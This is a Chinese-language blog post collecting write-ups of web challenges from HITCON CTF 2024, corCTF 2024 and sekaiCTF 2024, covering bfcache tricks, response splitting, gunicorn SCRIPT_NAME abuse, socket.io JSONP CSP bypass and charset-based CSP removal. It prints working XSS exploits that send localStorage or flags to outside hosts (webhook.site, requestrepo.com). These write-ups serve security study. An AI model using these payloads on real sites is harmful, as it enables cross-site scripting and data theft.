久違的筆記,想寫很久了但一直拖延,像是 CTF 這種東西的 writeup 其實速度滿重要的,因為賽後討論大部分都在 Discord 裡面發生,時間久了訊息比較難找,而且很有可能忘記,要趕快寫成 writeup 才能把那些實用的資訊記錄下來。
這篇一次帶來三個 CTF 的 writeup,有些我沒有打,只是純粹看著別人的筆記重新記一遍而已。
關鍵字列表:
- bfcache
- response splitting
- Service-Worker-Allowed
- gunicorn script_name
- socket.io disconnect
- socket.io JSONP CSP bypass
- performance API
- streaming HTML parsing
- content-type ISO-2022-JP
HITCON CTF 2024
Private Browsing+
這題基本上是個 proxy,會把 /~huli/
底下的東西 proxy 到其他網站,而 response 會根據 header 不同而有所不同:
if (
req.headers['sec-fetch-mode'] &&
req.headers['sec-fetch-mode'] !== 'navigate' &&
req.headers['sec-fetch-site'] === 'same-origin'
) {
req.url = chunks.slice(2).join('/')
proxy.handler(req, res)
} else {
res.writeHead(200, { ...DEFAULT_HEADERS, 'content-type': 'text/html' })
res.end(VIEWER_HTML.replace('SITEB64', btoa(proxy.site)))
}
如果是 navigate 的話,就會回傳 VIEWER_HTML,在這裡面會做各種 sanitize,所以沒辦法 XSS。
繞過方式是利用 bfcache,在 SECCON CTF 2022 Quals - spanote 有出現過,簡單來講呢,我們先造訪 target.html,此時的 response 會是 VIEWER_HTML,而在 VIEWER_HTML 內會執行 fetch('target.html')
去把內容抓回來,這時候 response 就會被放在 cache 中
再來,我們把同個分頁導到自己的 origin,接著執行 history.go(-1)
,把 URL 導回去 target.html
,此時因為 bfcache 的關係,就會載入用 fetch('target.html')
所抓取的 HTML,繞過了原本的限制,可以載入任意 HTML。
但下一個問題是 CSP:default-src 'self';
,因此 script 只能載入 same-origin 的,但 proxy 那邊有限制:
if (
res.headers['content-type'].toLowerCase().includes('script') ||
req.headers['sec-fetch-dest'] === 'script'
) {
res.headers['content-length'] = '0'
delete res.headers['transfer-encoding']
}
如果 content type 包含 script,直接把 content-length 變成 0,因此沒辦法載入 script。
這時候就要用到 response splitting 了,因為 proxy 那邊會直接把收到的 response pipe 出去,因此可以構造出這樣的流程:
- 在 browser 那端發出第一個請求,就叫請求 A 吧
- 在請求 A 的 response 中先輸出
expect: '100-continue'
header,讓 proxy server 那邊把 header 輸出,此時對瀏覽器來說第一個請求已經結束,拿到了 response, - browser 發出第二個請求 B,延用同一個 connection
- 這時輸出請求 B 的 response(但是對 proxy 來說還是請求 A 的 response),繞過 content type 的限制,因為 proxy 認為這是 response content
簡單來講就是類似 request smuggling 那樣,不過是反過來做。
這邊的細節有兩個:
- 透過 Chrome 對同一個 domain 有 6 個 concurrent 的限制,確保其中兩個請求會用到同一個 connection
- Node.js server 在收到
Expect: 100-continue
的時候,會先 flush,這一步是必要的,要繞過 Chrome 的限制
可以載入 JS 之後,就再用一樣的方法載入 service worker,並且用 Service-Worker-Allowed: /
header 來擴大 scope,可以註冊到整個 origin。
更多細節可以參考 maple 的 writeup: https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202024/Private%20Browsing%2B
corCTF 2024
web/corctf-challenge-dev - 17 solves
Author: drakon
一個跟 Chrome extension 有關的題目,但作者已經寫得很詳細了,就不多寫了:corCTF 2024 - corctf-challenge-dev
web/iframe-note - 2 solves
Author: sterllic
這題的核心程式碼是底下這段:
<iframe id="iframe"></iframe>
<script src="{{ url_for('static', filename='axios.min.js') }}"></script>
<script src="{{ url_for('static', filename='can.min.js') }}"></script>
<script>
window.onload = () => {
if (["__proto__", "constructor", "prototype"].some(d => location.search.includes(d))) {
return;
}
const qs = can.deparam(location.search.slice(1));
if (!qs.id) {
alert("no id provided");
location.href = "/";
}
axios.get(`/iframe/${encodeURIComponent(qs.id)}`)
.then(res => {
if (res.data.error) {
alert("no iframe found with that id!");
return;
}
if (!res.data.url.toLowerCase().startsWith("http")) {
alert("invalid url");
return;
}
document.querySelector("#name").textContent = res.data.name;
document.querySelector("#iframe").src = res.data.url;
document.querySelector("#iframe").style = res.data.style;
});
}
</script>
後端用 Flask + gunicorn 渲染出上面這個網頁。
can.js 有個 prototype pollution 的漏洞,就算有做了檢查還是可以用 URL encode 繞過,但問題是有了 pollution 之後可以幹嘛。
前端乍看之下就是 document.querySelector("#iframe").src = res.data.url
這段最可疑了,但是這邊需要能控制 server 的 response,但是 server 那邊有做檢查,因此 data.url 只能是 http 開頭。
最後的解法是跟 axios、bfcache 還有 gunicorn 的行為有關,gunicorn 會根據 header 裡面的 script_name
來決定最後的 path,以 Gunicorn’s handling of PATH_INFO and SCRIPT_NAME can lead to security issues when placed behind a proxy #2650 裡面給的範例來說:
requests.get(URL+'/REMOVED/admin/something/bad',
headers={'script_name':'REMOVED/'})
如果前面有個 nginx 把所有 /admin 開頭的請求都擋掉,這時我們可以發送一個 /REMOVED/admin 的請求再搭配 script_name 是 REMOVED/,nginx 會通過,但是到 gunicorn 的時候就會把 path 解析為 /admin,直接繞過了前面的 nginx 檢查。
而這題會用到這個行為的地方在:
<script src="{{ url_for('static', filename='axios.min.js') }}"></script>
如果你執行 curl https://iframe-note.be.ax////example.com/view -H "SCRIPT_NAME: //example.com
,那最後 path 是 /view,但是 base URL 會變,渲染的結果是:
<script src="//example.com/static/axios.min.js"></script>
就能夠直接控制頁面上的 src。
作者可能懶得弄一個 instance 來 host payload,因此直接用了 data URI,把 script 變成 <script src="data:text/javascript,{XSS}">
因為要達成這個結果需要在請求中傳送 header,所以需要用到 bfcache,流程是:
- 先造訪最後需要的 URL
- 跳轉到 view 頁面,利用 prototype pollution 讓 fetch 送出有 header 的請求
- 回到上一頁,此時因為 bfcache,會沿用剛剛 fetch 的 response,就是有 header 的版本
- XSS
作者的 exploit:
<body>
<script>
// const BASE_URL = "http://localhost:3000";
const BASE_URL = "https://iframe-note.be.ax";
const HOOK_URL = "https://webhook.site/xxxxx";
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const main = async () => {
const dataUrl = `data:text/javascript,navigator.sendBeacon('${HOOK_URL}',JSON.stringify(localStorage))`;
const win = open(`${BASE_URL}/${dataUrl}/iframe/view`);
await sleep(1000);
win.location = `${BASE_URL}/view?id=view&__%70roto__[headers][SCRIPT_NAME]=${dataUrl}/iframe&__%70roto__[baseURL]=/${dataUrl}/`;
await sleep(1000);
win.location = `${location.origin}/back.html?n=2`;
};
main();
</script>
</body>
<script>
const n = parseInt(new URLSearchParams(location.search).get("n"));
history.go(-n);
</script>
corchat x - 1 solve
Author: larry
跟 socket.io 有關的題目,重點看起來是三個:
- 可以送出 disconnect 事件但是沒有 disconnect
- sokcet.io 的 JSONP 可以拿來 bypass CSP
- 用 performance API 列出曾經載入過的資源
底下附上 Discord 中 EhhThing 貼的 exploit:
import socketio
import requests
import time
import json
base_url = 'https://corchat-x-a6e1f8c45d3ca520.be.ax'
def create_sid():
session = requests.Session()
login = session.post(f'{base_url}/', data = {}, allow_redirects=False)
assert login.status_code == 302, login.status_code
res = session.get(f'{base_url}/socket.io/', params = {
'EIO': 4,
'transport': 'polling',
't': 'bingus',
})
assert res.status_code == 200, res.status_code
socket_session = json.loads(res.text[1:])
print('fake session', socket_session)
res = session.post(f'{base_url}/socket.io/', params = {
'EIO': 4,
'transport': 'polling',
't': 'P3qHGUZ',
'sid': socket_session['sid'],
}, data = b'40')
assert res.status_code == 200, res.status_code
return socket_session['sid']
bot_session = requests.Session()
login = bot_session.post(f'{base_url}/', data = {
'name': 'FizzBuzz101',
}, allow_redirects=False)
assert login.status_code == 302, login.status_code
sio = socketio.Client(http_session=bot_session)
ready = False
@sio.event
def connect():
global ready
print('connected!')
# fake disconnect event so that the bot can connect as well
sio.emit('disconnect')
time.sleep(1)
ready = True
print('ready for bot!')
@sio.event
def message(data):
global ready
if not ready:
return
print('message', data)
if data['content'] == 'FizzBuzz101 joined.': # XSS bot opened the chat
first_sid = create_sid()
js_payload = """
(window.exfil = data => window.top.opener.top.socket.emit('message', data))
(window.observer = new parent.PerformanceObserver((list) => { list.getEntries().forEach((entry) => { window.exfil('Flag: ' + decodeURIComponent(entry.name.split('/').pop())); }); }))
(window.observer.observe({ type: 'resource', buffered: true }))
""".strip().replace('\n', ',')
sio.emit('message', '\\"+'+js_payload+');//')
second_sid = create_sid()
jsonp_url = f'{base_url}/socket.io/?EIO=4&transport=polling&t=bingus&sid={second_sid}&j=0'
js_payload = """
(window.secret=window.open('','secret'))
(window.a=window.top.document.getElementById('xss').cloneNode())
(window.a.srcdoc=window.a.srcdoc.replace('%s','%s'))
(window.secret.document.body.appendChild(window.a))
""".strip().replace('\n', ',') % (second_sid, first_sid)
sio.emit('message', '\\"+'+js_payload+');//')
xss_payload = """
<a id="___eio"></a>
<a id="___eio"></a>
<script src="%s"></script>
""" % jsonp_url
chat_message = '<iframe id="xss" srcdoc="%s"></iframe>' % xss_payload.strip()
assert len(chat_message) < 400, 'chat message too long, time to write better payload'
sio.emit('message', chat_message)
sio.connect(base_url)
sio.wait()
web/repayment-pal - 0 solve
Author: strellic
跟 Next.js 有關的題目,賽中沒有人解開,賽後也沒有公佈解法。
底下是公佈過的提示:
- +24 hour hint drop: hm, why is dev mode enabled?
- +36 hour hint drop: try to find a way to get html injection!
- Post-CTF hint drop: An earlier version of the challenge had an extra check in the middleware, requiring all API requests to have the header Sec-Fetch-Dest: empty
sekaiCTF 2024
htmlsandbox (4 solves)
Author: arxenix
題目連結:https://github.com/project-sekai-ctf/sekaictf-2024/tree/main/web/htmlsandbox
這題可以讓你上傳 HTML,但是把能擋的全部都擋掉了,並且會檢查 head 裡面有沒有:<meta http-equiv="Content-Security-Policy" content="default-src 'none'">
,來確保不能執行 JavaScript 程式碼。
而解法是檢查的時候是把 HTML 變成 data:text/html
來檢查,但實際造訪的時候就是一般的網頁,而這兩者的 parsing 規則不一樣,當檔案很大的時候,前者會全部一次 parsing,但後者會一個 chunk 一個 chunk 做,而且每個 chunk 的 encoding 可以不同。
細節可以看作者的 writeup:SekaiCTF’24 htmlsandbox - Author Writeup 或是這篇 0xalessandro 的 writeup,他最後的 exploit 長這樣:
import requests
#0xAlessandro was here
c1 = b'''<html><head>
<!-- \x1b$@ aa -->''' + b'''
<meta http-equiv="Content-Security-Policy" content="default-src 'none'">
\x1b(B <!-- test -->
''' + b"\x1b(B<!-- " + b"A"*64000 + b"-->"+ b"<!--"+b"A"*100+b"-->"
c2 = b'''
<meta charset="utf-8">
</head>
<body>
<svg><animate onbegin="fetch(`https://s9cs3dwb.requestrepo.com?c=${localStorage.getItem('flag')}`)" attributeName="x" dur="1s">
</body>
</html>'''
html = c1 + c2
with open('test.html', "wb") as f:
f.write(html)
r = requests.post('https://htmlsandbox.chals.sekai.team/upload', data={'html': html})
print(r.text)
在使用 data URI 的時候,整個 HTML 就是被當作 utf-8 來解析,沒什麼問題。
但被當作網頁來造訪的時候,由於分成了兩個 chunk,而 <meta charset="utf-8">
出現在第二個 chunk,因此第一個 chunk 會用 JIS X 0208 1983
來解析,CSP 就變成了一堆亂碼,被拿掉了。
讀到第二個 chunk 時看到 meta,就切換成 UTF-8,照常載入,如此一來就可以擺脫 CSP,達成 XSS。
這個 encoding 利用的細節可以參考:Encoding Differentials: Why Charset Matters。